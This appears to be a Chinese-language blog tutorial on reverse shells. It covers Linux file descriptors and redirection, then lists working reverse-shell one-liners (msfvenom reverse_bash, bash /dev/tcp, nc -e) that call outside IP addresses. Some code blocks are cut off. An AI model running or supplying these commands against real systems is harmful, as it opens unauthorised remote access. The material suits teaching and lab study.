反弹shell
前置知识
¶正反向shell
- 正向shell: 控制端主动发起连接请求去连接被控制端, 中间网络链路不存在阻碍
- 反向shell(反弹shell): 被控端主动发起连接请求去连接控制端, 通常被控端由于防火墙限制、 权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包
¶Linux标准文件描述符:
Linux系统将所有设备都当作文件来处理, 而Linux用文件描述符来标识每个文件对象; 当Linux启 动的时候会默认打开三个文件描述符
文件描述符 | 缩写 | 描述 | 默认设备 |
---|---|---|---|
0 | STDIN | 标准输入 | 默认设备键盘 |
1 | STDOUT | 标准输出 | 默认设备显示器 |
2 | STDERR | 标准错误输出 | 默认设备显示器 |
¶更改标准输出/输入的位置
把标准输出位置更改到test文件中
bash
exec 1> test |
把当前标准输出重定向到test文件中
bash
echo `flag` 1> test |
把test文件中的内容重定向到标准输入
bash
read user 0< test |
标准错误输出和标准输出的区别是,它在命令出错情况下的输出
分配自己的文件描述符: 把文件描述符5指向test文件, 然后把当前输出重定向到文件描述符5(用&引用文件描述符, 即找到文件(描述符指向的目标文件)
bash
exec 5> test |
¶/dev/null
特殊文件,写入的任何东西都会被清空。
- 把标准错误输出重定向到/dev/null,从而丢掉不想保存的错误信息
bash
whoami 2>/dev/null |
- 快速移除文件中的数据而不用删除文件
bash
cat /dev/null > test |
¶重定向
重定向是把输出定向到文件或者标准流; 重定向输入输出本质上就是重定向文件描述符
bash
< 从文件读取输入 |
反弹shell本质
被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导 致被控端不能正常接收发送过来的数据包
反弹shell方法
¶Bash
bash
# 被控端: |
解释
bash
# 打开一个交互式的bash shell |
一些反弹shell
¶利用msf生成:
bash
msfvenom -p cmd/unix/reverse_bash lhost=172.16.8.131 lport=1234 |
生成例子:
bash
bash -c '0<&84-;exec 84<>/dev/tcp/172.16.8.131/1234;sh <&84 >&84 2>&84' |
¶直接写:
bash
bash -i >& /dev/tcp/47.101.214.85/6666 0>&1 |
¶利用nc反弹shell
bash
nc -e /bin/bash 192.168.110.130 7777 |
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.